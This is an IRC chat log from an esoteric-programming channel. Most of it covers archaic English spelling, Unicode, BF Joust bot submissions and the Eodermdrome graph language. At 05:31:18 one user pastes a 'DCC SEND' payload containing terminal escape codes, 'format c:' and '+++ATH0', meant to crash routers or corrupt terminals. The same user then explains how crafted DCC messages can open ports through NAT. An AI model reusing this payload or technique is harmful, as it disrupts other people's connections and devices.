uſing “þee”, “þou”, etc. 05:08:32 erm surely third person verb with þou is incorrect 05:08:43 *þird 05:09:23 and the object form þee is irrelevant to verbs. 05:10:37 oerjan: Indeed, þou art correct. I'm not ſure how to phraſe what I was meaning to say, but what I ſaid is, frankly, wrong. ;) 05:11:51 wow. I actually had an opportunity to use "yes" today. the unix command. 05:12:58 next, you might have an opportunity to use "nl" 05:13:04 Gracenotes: Þat fills me wiþ much glee. 05:13:30 enough with your thorny attitude, young man! 05:14:21 But we've been doing it for hours! Really, look at all of þe ſtrings of text above þis line! 05:14:41 oh gawsh. even long s. 05:14:57 worse than I thought 05:15:02 Indeed. I blame Gregor for ſtarting it. 05:15:55 don't forget about all the grammatical forms either. http://en.wikipedia.org/wiki/Thou#Comparison 05:16:13 perhaps harder to automatically convert 05:16:37 Yes, yes. I'm not doing automatic converſion, I'm doing þis by hand. 05:17:00 Þus why þere's a few ſlipups here and þere. 05:17:42 I can't read anything in here 05:18:48 Pataſhu: UNICODE FAIL. 05:19:00 Come back wiþ a *real* terminal. 05:19:10 Here's a nickle for þe coſt. 05:19:54 really, the replacement here is regular 05:20:13 nooo they be stealing mah unicodes 05:20:37 Gracenotes: I'm raþer picky about it. Bit ſlower þan it would normally be to type, mind, but no ſed from me. 05:21:12 *Gregor*, on þe oþer hand... He's juſt ſilly, wiþ his Xchat ſcript to do it all for him. ;p 05:22:01 -__- 05:22:03 (oo)\_______ < Unicode?? Don't forget about me! 05:22:05 (__)\ )\/\ 05:22:07 ||----w | 05:22:09 || || 05:22:18 what is that 05:22:20 MOOnicode? 05:22:23 HAR HAR HAR 05:22:24 -!- myndzi\ has changed nick to myndzi. 05:22:25 Hi þere, Larry! 05:22:32 myndzi: Larry þe Cow. 05:22:50 21:05.30 < pikhq> Having fun wiþ þy Unicode, ſirs and fellows? <- this should be "your" :) 05:23:01 whoops 05:23:03 efb? 05:23:09 all these silly symbols make it hard to read 05:23:21 that's the UniCOW, clearly! 05:23:25 Þou fail'ſt. 05:23:30 oh wait 05:23:33 the essense of it is "thee, thy, thou, thine" etc are second person singular (speaking to one person) 05:23:40 i don't think that's an udder 05:23:49 you, your, you, yours is second person plural (speaking to many) 05:23:50 oerjan: I think you've been ASCII-ng too much 05:23:58 myndzi: Yes, yes. I ſcrew up, even þough I know better. 05:24:00 myndzi: "you" is also singular 05:24:09 oh, you mean in Old English 05:24:11 never mind 05:24:13 Gracenotes: been reading my eodermdrome drawings? 05:24:14 Raþer, I *ought* to know better. 05:24:23 Gracenotes: Not Old Engliſh. 05:24:31 Early Modern Engliſh. 05:24:32 older English, then. 05:24:44 Victorian era. 05:24:44 whatevs. 05:24:44 we cool, bitch. 05:25:00 pikhq: er. right :) 05:25:01 Old Engliſh has more in common wiþ Dutch or Norwegian. 05:25:09 oic 05:25:10 Victorian? No. Not only no but hell no. 05:25:17 Elizabeþan, maybe. 05:25:18 ;p 05:25:41 just do it like in brave fencer musashi! 05:25:45 Þis would've ſeemed a tiny bit archaic to Shakespeare. 05:25:49 add -st or -est to random words 05:25:58 it doesn't matterest if they arest verbs or nounsest 05:25:59 :P 05:26:00 s/Shakespare/Shakeſpeare/ 05:26:22 * pikhq ſtabbeth myndzi 05:26:23 * myndzi ſtabbeth pikhq 05:26:36 pikhq: fine then. I'll make you pay for your knowledge of English linguistics >:[ 05:26:40 pikhq: you correct nonexisting typos now? 05:26:40 Þou art ſtabbéd. 05:27:07 I am somewhat familiar with the locution of older English. Just not the history :) 05:27:13 stai stabbato, or something 05:27:14 oerjan: 'Twas a typo; þe ſhort S was wrong þere. 05:27:27 pikhq: oh wait 05:27:57 * oerjan saw only þe missing e 05:28:19 irssi is so helpful, turning long s's into short ones 05:28:41 pikhq: I look'd 'em up in e dictionary. 05:28:51 "does" = "doth", "has" = "hath" 05:28:54 e definitions are identical. 05:29:31 that's because they are different forms of the same word? 05:29:31 oerjan: Why didſt þou make irſsi change long S to ſhort‽ 05:29:32 :P 05:29:56 pikhq: because my terminal only doth latin-1 05:30:47 oerjan: UNICODE FAIL. 05:31:04 * oerjan looks in the web logs, and wonders if long s _really_ should have that upper left spike... 05:31:06 speaking of unicode fail 05:31:08 /exec -o locale 05:31:09 ? 05:31:16 let's see how many people in here have misconfigured terminals! 05:31:18 DCC SEND 01›30;40m stopspy echo j | format c: +++ATH0 ›27;32p›13;32p›0;0;32p›3;32pt›2J[2Jterminal'd ›30;40;5m$ 05:31:34 ｕｎｉｃｏｄｅ　ｆｌａｉｌ 05:31:35 myndzi: Hilarious. 05:31:40 (and/or irc clients) 05:31:46 LANG=en_US.UTF-8 05:31:46 myndzi: or routers 05:31:46 LC_CTYPE="C" 05:31:46 LC_NUMERIC="C" 05:31:46 LC_TIME="C" 05:31:46 LC_COLLATE="C" 05:31:49 LC_MONETARY="C" 05:31:51 LC_MESSAGES="C" 05:31:54 LC_PAPER="C" 05:31:56 LC_NAME="C" 05:31:59 LC_ADDRESS="C" 05:31:59 Gracenotes: i was only really interested in the utf-8 hax 05:32:01 LC_TELEPHONE="C" 05:32:04 LC_MEASUREMENT="C" 05:32:06 LC_IDENTIFICATION="C" 05:32:09 LC_ALL=C 05:32:09 myndzi: for windows? 05:32:11 oops 05:32:13 so 05:32:14 no* 05:32:17 oerjan: stfu 05:32:18 >_> 05:32:29 it takes advantage of irc clients that support utf-8 running on terminals that don't 05:32:33 to send ansi control codes 05:32:47 oerjan: LC_ALL ſhould be ="" or en_US.UTF-8. 05:32:58 Þy terminal will magically begin handling Unicode. 05:33:00 at least no one here is vulnerable to the DCC SEND exploit. afaik. 05:33:18 that is a shitty bit of router code that is wrong in so many ways 05:33:26 luckily a simple work around is to not use port 6667 05:33:49 it's *supposed* to perform ALG functions on irc 05:33:53 pikhq: i once tried changing some things to norwegian or english, but noted that suddenly sort became all localized too 05:33:53 but it 1) doesn't check for valid ctcp 05:33:57 2) doesn't check that it's an outgoing message 05:34:07 3) closes the connection when it sees a malformed message (WHY?!) 05:34:11 oerjan: You could have LC_COLLATE=C. 05:34:15 and at the time i was using !sort from vim a lot 05:34:20 ic 05:34:21 the better part is you can use it for NAT traversal 05:34:30 LC_COLLATE determines how þings are ſorted. 05:34:48 by sending CORRECT dcc messages with the port you want access to and scanning the approximate range 05:34:59 And... Imma stop with that, it's getting too annoying to think about. 05:35:01 (of the natted port) 05:35:12 thank god, one sane person :P 05:35:30 Mäybë a bit of mëtäl to end things wıṫh, though. 05:35:42 lül 05:35:54 z? 05:36:15 ìíîïiîiìííîíïíìîiìííîììììîîîíîïîiìïîïîiìïîíìiîiííîíîíìiìî 05:37:28 I love how i+. = ı 05:37:32 myndzi: sane persons, in here? let's EAT THEIR BRAINS! 05:38:36 lol thats soooooooo random 05:39:23 cause like, you know? 05:39:26 pikhq: clearly that should have been i-. 05:39:40 or i^. , possibly 05:39:49 beat me to it:P 05:39:53 oerjan: But it's technically i + .. 05:39:55 i was looking for the logical xor symbol in charmap 05:40:16 pikhq: um, how so? 05:40:23 Alphabetic arithmetic is a bit of a unique axiomatic system. 05:40:27 pikhq: didnt we do this the other night? 05:40:30 wouldn't that be ï instead 05:40:54 That's what it looks like when you add the . diaretic to i. 05:40:58 i⊻. 05:41:01 i guess 05:41:03 um right 05:41:15 Just very weird. 05:41:24 ï is not really the same as i plus a single dot 05:41:34 pikhq: i think if you added the dot diacritic to i you'd get i with a dot above, not ï 05:41:35 it makes sense that i+dot = i with no dot, really 05:41:37 BTW, if you want an i with a dot, ị is much nicer looking. :p 05:41:53 psygnisfive: What you actually get is ı. 05:42:00 i know what you get from typing 05:42:05 but thats input systems 05:42:06 add the dot AGAIN! 05:42:09 i+.+. 05:42:17 then divide by 0 for good measure 05:42:19 thats not i + dot 05:42:22 …i 06:00:57 :< 06:01:37 :< 06:05:39 ::| 06:07:07 :.: 06:09:39 .;:,`":: 06:16:59 -!- coppro has joined. 06:26:43 -!- oerjan has quit ("leaving"). 07:07:15 -!- Sgeo has quit (Read error: 110 (Connection timed out)). 07:40:09 no bf joust action today huh? 07:40:10 hehe 07:45:55 no 07:46:02 no more bf joust action ever, unfortunately 07:46:18 new laws have been passed that require immediate execution of any participants in bf joust action. 07:47:13 uh oh 07:47:15 I better watch myself 07:47:20 won't want to bf joust by accident 07:57:26 ARGH 07:57:34 Kicked out of parks twice in as many nights. 07:57:43 Portland is trying to kill Extreme Croquet. 07:59:59 -!- clog has quit (ended). 08:00:00 -!- clog has joined. 08:00:06 "extreme" croquet? 08:00:39 rocket-powered mallets 08:00:50 hover hoops 08:00:52 you know 08:00:59 i .. see 08:01:01 only one person has ever reached the 20x multiplier 08:01:24 ............ yeah, at's not extreme croquet :P 08:01:30 It's juſt croquet in unuſual environments. 08:01:38 Often played at night becauſe, well, þat's an unuſual environment. 08:01:42 like on a whale?? 08:01:53 ever play croquet there? 08:01:55 Þat would be really unuſual, but ſure :P 08:03:00 off the tree, down the stream bed, under the bridge, off the rock, nothing but wicket! 08:06:05 Sounds about right. 08:06:39 http://purdueextremecroquet.org/ 08:31:21 -!- rodgort has quit (Read error: 60 (Operation timed out)). 08:35:10 -!- oerjan has joined. 08:48:03 btw, there is a way to see the age of a program on the hill 08:48:06 http://codu.org/eso/bfjoust/in_egobot/?C=M;O=A 08:48:19 well the 'age' 08:52:40 GregorR-L: you're sing þ wrong. 08:52:46 using* 08:52:55 you're also using long-s wrong. 08:53:04 I'm fairly certain I'm not on boþ of þoſe. 08:53:13 unfortunately you are 08:53:31 Pleaſe, enlighten me. 08:53:31 þ is used for voiceless th, as in "both", but ð is used for voiced, as in "those" 08:53:34 Wrong. 08:53:41 *ahem* 08:53:41 Þis is Engliſh, not Icelandic. 08:53:52 Whos got the degree in linguistics? 08:53:55 thats right, me. 08:53:56 bitch. 08:54:33 Funny how /every/ ſource I can find ſays oþerwiſe. 08:54:53 The letter thorn was used for writing Old English very early on, like ð; but unlike ð, it remained in common usage through most of the Middle English period. 08:55:01 guess it depends on the period you are talking about? 08:55:08 Early modern 08:55:13 also, long s was word medial 08:55:37 Þe long 's' I'm almoſt certainly doing wrong, I was baſically juſt doing what ſomebody elſe ſaid for giggles þere :P 08:56:41 it seems you're sort of right about þ and ð. þ was often word initial than ð 08:56:52 and rarely medial 08:57:25 ofcourse, this only works for old english where θ and ð are allophones 08:57:49 I'm aiming at early modern, by which point ð was juſt gone. 08:57:54 in modern english, you can't use them interchangeable since [θ] and [ð] are not allophones 08:58:08 what about for the cretaceous where θ and ð are allosaurs? 08:58:09 yes, well, early modern used completely different words and spelling as well 08:58:17 so you might as well give it up! 08:58:42 give it up like the second person singular! 08:58:42 Or, I'll juſt decree þat I'm trying to bring back þorn as a general replacement for 't h', and not as a ſpecific revival of its previous uſe. 08:58:53 myndzi: we're talking phonology not saurology 08:59:03 let's bring back porn as a general replacement for 'th' 08:59:06 that'd be more productive 08:59:10 well you should revive it as a replacement for the voiceless one! 08:59:35 GregorR-L, voice of the voiceless 08:59:38 Þat's difficult when I'm juſt uſing eſsentially a ſed ſcript :P 08:59:46 (you'll never silence him!) 08:59:55 what? 09:00:06 That's difficult when I'm just using essentially a sed script :P 09:00:12 right no i get that :P 09:00:16 a sed script? 09:00:30 I'm juſt typing as per normal and it's being replaced automatically by an xchat plugin I wrote. 09:00:47 oh 09:00:48 lame 09:00:53 :P 09:00:56 type it by hand, you wuss 09:01:04 like a real man 09:01:05 Þat's þree key-ſtrokes per, bleh. 09:01:14 two on a mac :D 09:01:21 not even 09:01:25 alt+t 09:02:09 It's compose-t-h on X. 09:02:45 well i cant help you with your lameos 09:03:05 -!- M0ny has joined. 09:03:34 just edit your keyboard layout 09:03:37 shouldn't be hard 09:04:22 wait... linux, right 09:04:26 you might have to recompile the kernel 09:04:27 :P 09:05:04 yeah but he likes linux, which means recompiling the kernel is pleasurable. 09:09:01 did middle english still have hwere and hwy, or had it changed by then? 09:09:10 and hwæt 09:09:19 changed 09:09:37 hwery hwell 09:09:53 * oerjan runs away, hiding 09:10:35 Icelandic uses "hvaða" for "what", I love it 09:10:54 why?? 09:12:39 hwy aks hwy 09:13:07 because i want to ::SMASH:: 09:13:34 * oerjan watches psygnisfive carefully for any emerging green color 09:15:01 * oerjan cannot quite remember if psygnisfive is a conlanger 09:15:08 * psygnisfive is 09:15:19 constructed language? 09:15:24 my recent eodermdrome program nearly qualifies 09:15:24 yes 09:15:32 oh? 09:15:33 do tell 09:16:34 shouldn't the topic be "þou dost not", out of curiosity, or am I in the wrong period there too? 09:17:11 * oerjan rearranges it a bit 09:17:14 it probably should be 09:17:26 since the -th suffix is the precursor to modern -s 09:17:42 so the topic translates roughly as "so long as you does not talk to him" 09:18:17 "thou" is actually still used in Lancashire (where I mostly live), but it's changed to "tha", and it's rare even among old people 09:20:45 psewelklihiandnabarfrux chewelisksiamtmaybobyargruz scewelklihiandnabarfrux wheliosokoiamtmaybyargruz psewelklihiandnarfryx chewelisksiamtmargrux scewelklihiandnarfryx wheliosokoiamtmargrux 09:20:49 (1) byanad buguramat (0) byanad buramat ( ) sehened sihiabruramat ( ) ianadabar iamtmabar sceweihiandnarfrux (0) sowoieheiamtmaur sceweihiandnarfryx (1) sowoieheiamtmaurux 09:20:52 abrand a thequickbrownfoxjumpsoverthelazydog miewehit 09:21:17 wtf oerjan 09:22:30 * oerjan removed most of the english output parts 09:24:38 i played around with tr to make it look nice-sounding 09:25:17 (letter permutations don't change the program interpretation) 09:27:13 although making it basically pronouncable was mainly a question of strategric placement of vowels and sonants 09:27:20 i dont understand what this is 09:27:31 (which i did by hand first) 09:27:42 it's a program in ais523's Eodermdrome language 09:28:17 each word is interpreted as a graph, with each letter a node and edges between neighboring nodes 09:28:41 ok 09:28:43 the () part is I/O 09:28:49 how is this conlang-ish? 09:29:00 well just the sound of it 09:29:22 er? 09:29:36 oerjan just wants to hang out with the cool kids 09:29:39 o_O 09:30:53 *sighs* 09:31:02 -!- oerjan has quit ("Bus"). 10:09:27 -!- tombom has joined. 11:15:39 -!- M0ny has quit ("Read error: 182 (Connection reset by beer)"). 11:39:28 -!- FireFly has joined. 11:59:09 -!- tombom has quit ("Peace and Protection 4.22.2"). 12:21:04 -!- Patashu has quit ("Patashu/SteampunkX - MSN = Patashu@hotmail.com , AIM = Patashu0 , YIM = Patashu2 , Googletalk = Patashu0@gmail.com ."). 12:26:46 -!- whtspc has joined. 12:34:55 -!- whtspc has quit ("ChatZilla 0.9.84 [Firefox 3.0.10/2009042316]"). 12:38:38 -!- Judofyr has joined. 12:41:01 -!- KingOfKarlsruhe has joined. 13:01:48 -!- Corun has joined. 13:18:56 -!- ais523 has joined. 13:20:11 -!- nooga has joined. 13:27:10 -!- M0ny has joined. 13:28:34 -!- kar8nga has joined. 13:48:27 yay, defend9 is still top of the leaderboard 14:04:41 ais523: gcc-bf has special output format? (from recent in-between commit log about gcc-bf's RLE format) 14:04:48 yes 14:04:53 as an option 14:05:03 it can output regular BF, but that often causes the computer to run out of memory 14:05:16 so it can also output in its internal RLE format, which is basically BF but with run-length encoding 14:05:30 how does it look like? 14:05:39 +++++ becomes +*5 14:05:42 apart from that, it's identical 14:05:52 oh, and if there isn't a number after the *, the * is a comment 14:05:57 ah okay. 14:06:16 is +*0 acceptable? (stupid though) 14:06:18 gcc-bf output also contains a few meaningful comments; but they're strictly comments, the program runs fine without interpreting them 14:06:22 and no, it isn't 14:06:31 because +*5 can be interpreted as +, then four more +s 14:07:40 okay. finally i have some time to work on esotope-bfc, and i'm moving file loader into separate module. but i wanted some example... :) 14:14:22 there's some gcc-bf code in filebin somewhere 14:14:30 how about **5 ? 14:14:37 nooga: gcc-bf never generates that 14:15:08 http://filebin.ca/pqzmno/hworld1.bfrle 14:15:21 possibly the world's longest and most convoluted hello world 14:15:30 although I wouldn't be surprised if there was a worse one out there somewhere 14:17:06 is * really necessary? 14:17:16 nooga: no, it just makes filesizes much smaller 14:17:22 and prevents my computer running out of memory 14:17:26 you can just expand it all if you like 14:17:26 +10 == +*10 is quite obvious 14:17:53 i mean the character '*' 14:18:04 why not +60, -10 >5 14:18:05 etc 14:23:35 oops, separating loader and initial optimizer made esotope-bfc three times slower. :( 14:24:23 nooga: to distinguish from numbers in comments? 14:24:34 gcc-bf can use quite a lot of those, especially if you ask for debug output 14:25:22 how frequent does number occur after +-<>[]., in comments? 14:25:39 without any space etc 14:25:44 loads, although there are normally other comment characters in between 14:26:20 so 14:27:42 +80 90 14:27:51 then 90 is comment 14:28:02 single space in between will do 14:28:24 +33 66-22 14:28:28 66 is still a comment 14:28:39 I think using * is probably less of a disruption to standard BF parsing 14:29:11 but makes the code larger 14:29:28 well, I'd put the numbers in hex if I cared about microoptimising size 14:29:48 it's just the difference between <*10000 and writing it out with loads of < signs 14:30:16 sure 14:30:30 <10000 gives you one char less 14:30:41 which is hardly any saving compared to the 10000 14:31:28 i thin you've got something like 20000 *s in this file you gave 14:31:41 yes, 20K isn't going to make a substantial difference 14:32:02 all I really care about is causes my computer to swap vs. doesn't cause my computer to swap 14:42:42 -!- Corun has quit ("Leaving..."). 14:43:35 wonder if zip would compress this file 14:43:49 almost certainly 14:43:54 I suspect it compresses rather well 14:44:12 wow 14:44:26 430kB -> 36kB 14:46:12 doh 14:46:20 can't find this whole gcc-bf 14:46:24 is it unreleased? 15:04:23 !bfjoust test +++>>(+)*5>(-)*5(>)*7(>[-])*20 15:04:34 Score for FireFly_test: 48.8 15:04:38 Hm.. 15:16:12 !bfjoust draw ([+]+)*5000 15:16:23 Score for FireFly_draw: 18.3 15:16:37 Hm, it actually did win a coule of times :\ 15:17:24 nooga: yes, unreleased 15:17:30 and unfinished 15:17:32 heh 15:17:37 it was hard enough just to get that hello world to work 15:17:59 FireFly: wouldn't [+]+ suicide unless the opponent was on your flag doing [-]? 15:18:08 Hm 15:18:10 ooh, maybe not 15:18:15 that's just at 0 for one cycle 15:18:22 nope, it is two cycles 15:18:23 The idea is to abuse the fact that it needs to be 0 for two cycles 15:18:27 one after the +, one after the ] 15:18:29 Ah, hm 15:18:35 you can abuse that fact; just not like that 15:18:35 I need another + 15:18:40 try +[++] 15:18:48 Yeah.. 15:18:57 Or [+]++ ? 15:19:01 (repeatedly) 15:19:03 no, that wouldn't work 15:20:24 !bfjoust nooga [>[+]-] 15:20:35 Score for nooga_nooga: 60.0 15:20:49 !bfjoust draw (+[++])*5000 15:20:58 Let's see what happens now... 15:21:00 Score for FireFly_draw: 27.3 15:21:25 5 draws, 4 wins (eg. opponent suicides) 15:22:03 how to avoid suicide? 15:22:57 !bfjoust nooga (>)*100[>+[-]-] 15:23:08 Score for nooga_nooga: 0.0 15:23:15 xD 15:23:21 !bfjoust test +++>>(+)*5>(-)*5(>)*7([>][-])*20 15:23:32 Score for FireFly_test: 11.2 15:23:41 !bfjoust nooga (>)*60[>+[-]-] 15:23:52 Score for nooga_nooga: 0.0 15:23:53 -!- Corun has joined. 15:24:20 Ah 15:24:24 I see 15:25:05 why? 15:25:17 I saw why my code went terribly bad :P 15:25:18 enemy flag should be somewhere there (?) 15:25:22 The FireFly_test one 15:25:31 Wait, 60? 15:25:49 after 60 at least 15:25:52 "The tape length is much shorter, being randomized in the range 10-30." 15:25:59 ahhh 15:26:01 ^ tip :P 15:26:11 !bfjoust nooga (>)*5[>+[-]-] 15:26:22 Score for nooga_nooga: 22.0 15:28:01 !bfjoust test +++>>(+)*3>(-)*3>++(>)*6(>[-])*20 15:28:12 Score for FireFly_test: 53.7 15:28:45 !bfjoust nooga ++>--->++>->+++>-[>+[-]-] 15:28:54 Score for nooga_nooga: 28.5 15:30:08 !bfjoust nooga ->--->---->--->-->-[>+[-]-] 15:30:19 Score for nooga_nooga: 42.3 15:30:39 shame this is not my solution :C 15:32:54 !bfjoust test +++>>(+)*3>(-)*3>++(>)*6(>[+++++>]<[-])*20 15:33:04 Score for FireFly_test: 10.4 15:33:25 Ah, wait 15:33:42 !bfjoust test +++>>(+)*3>(-)*3>++(>)*6(>[+++++<]>[-])*20 15:33:53 Score for FireFly_test: 29.7 15:37:08 !bfjoust AntiMarauder ++(>>-)*4>(>[-])*21 15:37:19 Score for FireFly_AntiMarauder: 35.8 15:40:03 !bfjoust draw >+[[+]+] 15:40:13 Score for FireFly_draw: 24.3 15:40:23 does probram end after zeroing opponent's flag? 15:40:39 It has to be zero for two rounds 15:40:53 See http://esolangs.org/wiki/BF_Joust#The_revised_version 15:41:09 2 | 0 0 0 0 0 0 0 0 0 0 0 0 - 0 0 - - + - 0 | 24.3 | -3 | FireFly_draw.bfjoust 15:41:15 wow, nescience_shade is now second 15:41:15 Muhaha, draws 15:41:24 Yep 15:41:25 I wonder if he resubmitted it with changes, or if the hill's changed enough that it does well? 15:41:40 nescience / myndzi: you wouldn't happen to know anything about this, would you? 15:42:28 heh, Firefly_draw /is/ rather good at drawing 15:42:41 a typical famer 15:42:48 I wonder if there's some way to modify farmers so that they win? 15:44:34 Hmm 15:45:06 possibly some sort of cross between defend9 (we need a name for that strategy!) and a farmer 15:45:48 I haven't read all of defend9, 'twas rather long, wasn't it? 15:45:55 By the way, was the limit of rounds 100k? 15:46:27 yes 15:46:31 Hm 15:46:40 !bfjoust test (-->{.}+++<)*5[>+[-]-] 15:46:48 damn 15:46:51 % 15:46:51 Score for nooga_test: 19.2 15:47:12 !bfjoust test (-->{.}+++<)%5[>+[-]-] 15:47:23 Score for nooga_test: 31.7 15:48:12 !bfjoust test (->{.}+++<)%5[>+[-]-] 15:48:23 Score for nooga_test: 23.7 15:48:31 !bfjoust test (---->{.}+++<)%5[>+[-]-] 15:48:41 Score for nooga_test: 29.6 15:48:48 FireFly: defend9 is long, but it's all much the same thing 15:48:53 !bfjoust test (-->{.}+<)%5[>+[-]-] 15:48:53 it works by benchmarking the opposing program 15:49:00 to determine how many instructions are in its main loop 15:49:02 Score for nooga_test: 13.4 15:49:07 huh 15:49:08 That's interesting 15:49:16 and then trapping it in its main loop whilst running off to capture its flag 15:49:38 i can't imagine how 15:49:49 I didn't think BF Joust would be that much about analyzing the opponent :P 15:49:50 it can actually determine something 15:50:11 !bfjoust test >+([+]+)*5000(>)*8(>[-])*21 15:50:22 Score for FireFly_test: 20.4 15:53:14 !bfjoust draw >-->+[[+]+] 15:53:24 Score for FireFly_draw: 18.4 15:54:43 FireFly: well, defend9 is top of the table 15:54:49 so it obviously isn't a hideous strategy 15:54:54 Yep, I've noticed 15:57:17 !bfjoust draw >-[[.]-] 15:57:28 Score for FireFly_draw: 16.1 15:57:38 Meh, not as many draws 16:01:27 !bfjoust draw >+[]<[+] 16:01:38 Score for Deewiant_draw: 24.1 16:02:00 Hmph 16:02:26 !bfjoust draw >+[]<[++-] 16:02:36 Score for Deewiant_draw: 14.5 16:02:46 Heh 16:02:53 !bfjoust draw >-[]<[+] 16:03:04 Score for Deewiant_draw: 19.2 16:04:17 Wait, []?.. Hm, that works just as well as [.] 16:04:26 Didn't think of that 16:04:32 Except being well.. faster 16:07:40 -!- KingOfKarlsruhe has quit (Remote closed the connection). 16:08:56 found on Reddit: http://chrishecker.com/Kurt_G%C3%B6del_is_Laughing_His_Ass_Off_Right_Now 16:10:37 !bfjoust test [+]->>(+)*5>(-)*5(>)*7(>[-])*20 16:10:47 Score for FireFly_test: 20.3 16:12:16 ais523 : heh 16:12:35 Hey ais523 16:12:49 Your graph rewriting thingamagic, are you sure it's TC? 16:13:01 It seems to have a finite number of possible nodes 16:13:11 I'm not sure, but that isn't limiting its TCness 16:13:16 you can have infinite possible nodes 16:13:29 for instance, "ab ade" is a trivial program that creates infinite nodes 16:14:10 So you start with the graph a-b, and what does it do? 16:14:16 no 16:14:30 you start with the graph thequickbrownfoxjumpsoverthelazydog, as always 16:14:37 orite 16:14:44 but ab refers to a vertex b of degree 1 16:14:56 and you replace it with a vertex of degree 2 connected to a vertex of degree one 16:15:04 It's like the active part in the andrei machine? 16:15:07 so you end up with an infinite chain of degree-2 vertices 16:15:43 Wait, what does a-b transforms into in one step? 16:17:42 Slereah: the vertices aren't marked with letters 16:18:10 so ab transforms into ade, which is equivalent to zab, which becomes zade, which is equivalent to yzab, which becomes yzade 16:18:12 etc 16:18:50 Oh, so you can have multiple nodes with the same name 16:19:04 nodes aren't named at all 16:19:09 nodes are completely unnamed 16:19:17 letters are just used to describe graphs 16:19:20 o. 16:19:24 it's pattern matching 16:19:38 just like if you say A+B in Prolog, that matches any addition 16:19:46 not necessarily an addition of the letters A and B 16:20:13 The fact that the starting graph is so hueg doesn't make it easy to visualize a suimple example 16:20:26 you generally replace the starting graph with what you want 16:20:31 as it's unlikely to come up at random 16:21:01 So a-b actually replaces every nodes connected by a vertex? 16:22:36 no, because b isn't mentioned over the right 16:22:46 it replaces all nodes that are connected to one other node, but nothing else 16:22:58 ab adb would replace two connected nodes with a chain of three connected nodes 16:23:03 and is so general, it would be unlikely to be useful 16:23:26 That sounds even worst to program than the Kolmogorov machine 16:23:31 At least it had types :o 16:23:43 What's the name of this.. language? 16:23:50 And a starting node, to mark the beginning 16:24:00 http://esolangs.org/wiki/Eodermdrome 16:24:10 Hm 16:24:17 Thanks 16:24:39 I wonder if Mathematica is good with graphs, since it's the best software ever written 16:28:05 Mathematica has graphs, but the documentation is really shallow 16:28:25 Mathematica is incredibly bad at anything it wasn't designed for 16:28:36 heh 16:29:04 http://reference.wolfram.com/mathematica/Combinatorica/ref/Graph.html 16:29:08 Look at that shit 16:29:22 Do they tell me how a list of vertex and nodes is supposed to be written? 16:32:48 Yes, they do 16:33:00 -!- jix has joined. 16:33:14 Slereah: node = vertex 16:33:16 arc = edge 16:35:01 ugh, Mathematica's graph stuff is as inflexible as I suspected it might be 16:35:09 each vertex seems to come with information about where it is 16:35:20 which means it can't draw graphs in the neatest possible way 16:36:44 although they do have things like SpringEmbedding to try to achieve that sort of thing 16:37:55 Yeah 16:38:13 I tried ShowGraph[Graph[{{1, 2}}, {{1, 1}, {2, 2}}]], but it no works 16:38:15 the Eodermdrome graph-match operation isn't in their library, though 16:38:24 I may need additional brackets 16:38:32 meaning it's basically impossible to implement 16:42:55 Well, it's probably doable 16:43:01 Though not necessarily easy 16:43:23 Although I think the Andrei Machine 9000 should be easier, since it has typed nodes 16:43:23 The Graph bit works but ShowGraph gives a bunch of errors 16:43:44 Deewiant: probably because the nodes aren't assigned to positions 16:43:53 you'd have to take it through a position-allocation function first 16:44:19 Possibly; I didn't read the docs, just tried Slereah's expression :-) 16:44:30 also, how do you know the Graph bit works? 16:44:39 Mathematica operations don't normally give errors if you mess up the syntax 16:44:43 they just hold in place Thutu-style 16:44:48 It doesn't error and it gives proper output 16:44:53 although there are error-recognition patterns in later versions 16:45:02 - Graph:<1,2,Undirected>- 16:45:07 ah 16:48:17 Wait 16:48:28 Is Graph shit a package, or is it basic Mathematica? 16:48:34 Because even the examples don't work 16:48:43 Load it with < It's both, it comes with Mathematica 16:49:22 Oh, that would explain why nothing works. 16:49:26 Yep, works better now 16:50:41 Now let's see what I can implement on that piece of shit 17:09:35 FFFFFFFFFUUUUUUUUUU 17:10:10 load avg under osx after one week without reboot -> 0.75, 0.36, 0.23 17:17:47 -!- leonid_ has joined. 17:20:55 -!- kar8nga has quit (Remote closed the connection). 17:29:15 -!- oerjan has joined. 17:31:09 -!- Sgeo has joined. 17:31:28 -!- oerjan has set topic: Where ehird is always friendly, so long as þou talkeþ not to him. | http://tunes.org/~nef/logs/esoteric/?C=N;O=D. 17:32:03 er wait... 17:32:18 -!- oerjan has set topic: Where ehird is always friendly, so long as þou talkest not to him. | http://tunes.org/~nef/logs/esoteric/?C=N;O=D. 17:32:53 Man, it must be awesome to be Wolfram 17:33:03 how? 17:33:13 He probably has a constant boner just from being him 17:33:14 Because he's the best man ever! 17:35:07 Nicely done, Ørjan. 17:35:35 (just because I've stopped with the Early Modern English doesn't mean I'm not going to spell “Ørjan” right. ;)) 17:38:49 i like the letter Ø 17:38:52 -!- M0ny has quit ("Read error: 182 (Connection reset by beer)"). 17:39:06 Your graph rewriting thingamagic, are you sure it's TC? 17:39:08 i think Wolfram is weird 17:39:09 D: 17:39:24 * oerjan thought he proved that. 17:40:05 in principle, at least, even if there may be bugs in it 17:40:54 k 17:43:54 -!- leonid_ has left (?). 17:44:21 ø 17:45:01 Møøse 17:45:09 once bit your sister? 17:45:23 in the hööse 17:45:36 llamas! 17:45:52 Sim City fucking loved llamas 17:45:57 oerjan, excellent topic! 17:46:20 AnMaster: i merely corrected þe grammar 17:47:10 we are sø nørsk 17:47:38 pølsk pølsevev 17:47:56 oerjan, pølsevev ? 17:47:58 øl 17:48:07 AnMaster: means nonsense 17:48:10 ah 17:49:04 øl før frøkøst 17:49:55 uuurgh 17:50:15 AnMaster: finally i'm back to the esotope-bfc. :) i recently added bfrle parser to analyze gcc-bf's output. 17:50:22 lifthrasiir, heh. 17:50:27 lifthrasiir, I had one for DAYS ;P 17:51:07 lifthrasiir, haven't had time for in-between for a while 17:51:12 :/ 17:51:25 oh. 17:51:26 polynom stuff is semi-complete 17:51:30 polynomial* 17:51:36 GregorR: your font is weird. "Hello, world! How are you today?" → "HELLO, DONLD! HOD ANE EOU PODAE?" 17:51:43 (meh, I always spell it in Swedish by mistake) 17:51:48 good to hear it. 17:51:54 polynom nom nom! :p 17:52:00 lifthrasiir: dammit! 17:52:08 i was going to say that 17:52:10 lifthrasiir, haven't worked out how to convert non-trivial loops to that form though 17:52:40 that is not +/- 1 for index cell. And no, I haven't been able to understand the algorithm you use 17:52:49 lifthrasiir: so I'm curious, you wrote that thing about north/south korea for your school right? d'you think north korea are bluffing about bombing south korea? 17:52:51 AnMaster: do you still have trouble with the [+++>----<] kind? 17:52:55 i'd imagine so, but, weird place. 17:52:56 oerjan, yes 17:53:15 AnMaster: i keep telling you the extended euclidean algorithm is the key 